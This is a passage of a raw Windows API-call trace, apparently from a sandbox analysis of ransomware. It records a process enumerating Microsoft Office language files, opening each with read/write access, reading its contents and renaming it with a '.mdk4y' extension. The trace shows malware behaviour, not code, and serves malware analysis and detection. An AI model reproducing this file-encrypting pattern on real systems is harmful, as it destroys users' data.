"c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl.mdk4y")) returned 1 [0203.451] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.451] AreFileApisANSI () returned 1 [0203.451] GetACP () returned 0x4e4 [0203.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WWINTL.DLL", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WWINTL.DLLSL", lpUsedDefaultChar=0x37df4c) returned 10 [0203.451] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0203.452] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827868200000) returned 1 [0203.452] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xdc158, lpOverlapped=0x0) returned 1 [0203.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827872800000) returned 1 [0203.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827872800000) returned 1 [0203.505] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.mdk4y")) returned 1 [0203.506] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.506] AreFileApisANSI () returned 1 [0203.506] GetACP () returned 0x4e4 [0203.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WWINTL.DLL.IDX_DLL", cchWideChar=18, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WWINTL.DLL.IDX_DLLHXK", lpUsedDefaultChar=0x37df4c) returned 18 [0203.507] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0203.507] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827873700000) returned 1 [0203.508] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a780, lpOverlapped=0x0) returned 1 [0203.545] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827877500000) returned 1 [0203.545] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827877500000) returned 1 [0203.546] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll.mdk4y")) returned 1 [0203.548] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.548] AreFileApisANSI () returned 1 [0203.548] GetACP () returned 0x4e4 [0203.548] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WWINTL.REST.IDX_DLL", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WWINTL.REST.IDX_DLLXK", lpUsedDefaultChar=0x37df4c) returned 19 [0203.548] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0203.549] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827877900000) returned 1 [0203.549] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x96180, lpOverlapped=0x0) returned 1 [0203.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827887500000) returned 1 [0203.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827887500000) returned 1 [0203.650] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll.mdk4y")) returned 1 [0203.651] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.651] AreFileApisANSI () returned 1 [0203.651] GetACP () returned 0x4e4 [0203.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="wxpr.dll", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="wxpr.dllEST.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 8 [0203.651] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.651] AreFileApisANSI () returned 1 [0203.651] GetACP () returned 0x4e4 [0203.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WZCNFLCT.CHM", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WZCNFLCT.CHMIDX_DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0203.651] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wzcnflct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0203.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827888200000) returned 1 [0203.652] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x34d8, lpOverlapped=0x0) returned 1 [0203.653] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827888300000) returned 1 [0203.654] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827888400000) returned 1 [0203.654] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wzcnflct.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wzcnflct.chm.mdk4y")) returned 1 [0203.655] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.655] AreFileApisANSI () returned 1 [0203.655] GetACP () returned 0x4e4 [0203.655] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="XFUNC.VSL", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="XFUNC.VSLCHM", lpUsedDefaultChar=0x37df4c) returned 9 [0203.655] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0203.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827888700000) returned 1 [0203.657] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcd90, lpOverlapped=0x0) returned 1 [0203.778] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827900800000) returned 1 [0203.778] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827900800000) returned 1 [0203.779] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl.mdk4y")) returned 1 [0203.780] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.780] AreFileApisANSI () returned 1 [0203.780] GetACP () returned 0x4e4 [0203.780] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Xlate_Complete.xsn", cchWideChar=18, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Xlate_Complete.xsnL", lpUsedDefaultChar=0x37df4c) returned 18 [0203.780] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_complete.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0203.782] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827901200000) returned 1 [0203.782] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3283, lpOverlapped=0x0) returned 1 [0203.783] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827901300000) returned 1 [0203.783] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827901300000) returned 1 [0203.783] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_complete.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_complete.xsn.mdk4y")) returned 1 [0203.785] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.785] AreFileApisANSI () returned 1 [0203.785] GetACP () returned 0x4e4 [0203.785] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Xlate_Init.xsn", cchWideChar=14, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Xlate_Init.xsn.xsn", lpUsedDefaultChar=0x37df4c) returned 14 [0203.785] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_init.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0203.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827901600000) returned 1 [0203.786] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2d6b, lpOverlapped=0x0) returned 1 [0203.797] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827902700000) returned 1 [0203.797] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827902700000) returned 1 [0203.798] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_init.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_init.xsn.mdk4y")) returned 1 [0203.800] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0203.800] AreFileApisANSI () returned 1 [0203.800] GetACP () returned 0x4e4 [0203.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="XLINTL32.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="XLINTL32.DLLsn", lpUsedDefaultChar=0x37df4c) returned 12 [0203.800] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0203.802] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827903200000) returned 1 [0203.802] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0204.564] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827979400000) returned 1 [0204.564] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827979400000) returned 1 [0204.810] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.mdk4y")) returned 1 [0204.812] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0204.812] AreFileApisANSI () returned 1 [0204.812] GetACP () returned 0x4e4 [0204.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="XLINTL32.DLL.IDX_DLL", cchWideChar=20, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="XLINTL32.DLL.IDX_DLLK", lpUsedDefaultChar=0x37df4c) returned 20 [0204.812] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0204.813] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828004300000) returned 1 [0204.814] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x18380, lpOverlapped=0x0) returned 1 [0204.816] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828004600000) returned 1 [0204.816] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828004600000) returned 1 [0204.817] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll.mdk4y")) returned 1 [0204.819] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0204.819] AreFileApisANSI () returned 1 [0204.819] GetACP () returned 0x4e4 [0204.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="XLINTL32.REST.IDX_DLL", cchWideChar=21, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="XLINTL32.REST.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 21 [0204.819] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0204.821] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828005100000) returned 1 [0204.822] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5db80, lpOverlapped=0x0) returned 1 [0204.926] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828015600000) returned 1 [0204.926] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828015600000) returned 1 [0204.930] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll.mdk4y")) returned 1 [0204.931] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0204.931] AreFileApisANSI () returned 1 [0204.931] GetACP () returned 0x4e4 [0204.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="XLLEX.DLL", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="XLLEX.DLLREST.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 9 [0204.931] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0204.932] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828016200000) returned 1 [0204.932] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9380, lpOverlapped=0x0) returned 1 [0204.949] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828017900000) returned 1 [0204.949] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828017900000) returned 1 [0204.950] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll.mdk4y")) returned 1 [0204.952] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0204.952] AreFileApisANSI () returned 1 [0204.952] GetACP () returned 0x4e4 [0204.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="XLMACRO.CHM", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="XLMACRO.CHMST.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0204.952] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlmacro.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0204.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828018500000) returned 1 [0204.955] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2c00, lpOverlapped=0x0) returned 1 [0204.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828020200000) returned 1 [0204.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828020200000) returned 1 [0204.972] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlmacro.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlmacro.chm.mdk4y")) returned 1 [0204.974] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0204.974] AreFileApisANSI () returned 1 [0204.974] GetACP () returned 0x4e4 [0204.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="XLSLICER.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="XLSLICER.DLLT.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0204.974] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0204.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828021200000) returned 1 [0204.982] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2b580, lpOverlapped=0x0) returned 1 [0205.006] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828023600000) returned 1 [0205.006] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828023600000) returned 1 [0205.008] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.mdk4y")) returned 1 [0205.009] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0205.009] AreFileApisANSI () returned 1 [0205.009] GetACP () returned 0x4e4 [0205.009] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="XLSLICER.DLL.IDX_DLL", cchWideChar=20, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="XLSLICER.DLL.IDX_DLLL", lpUsedDefaultChar=0x37df4c) returned 20 [0205.009] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0205.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828024000000) returned 1 [0205.010] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3180, lpOverlapped=0x0) returned 1 [0205.028] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828025800000) returned 1 [0205.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828025800000) returned 1 [0205.029] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll"), 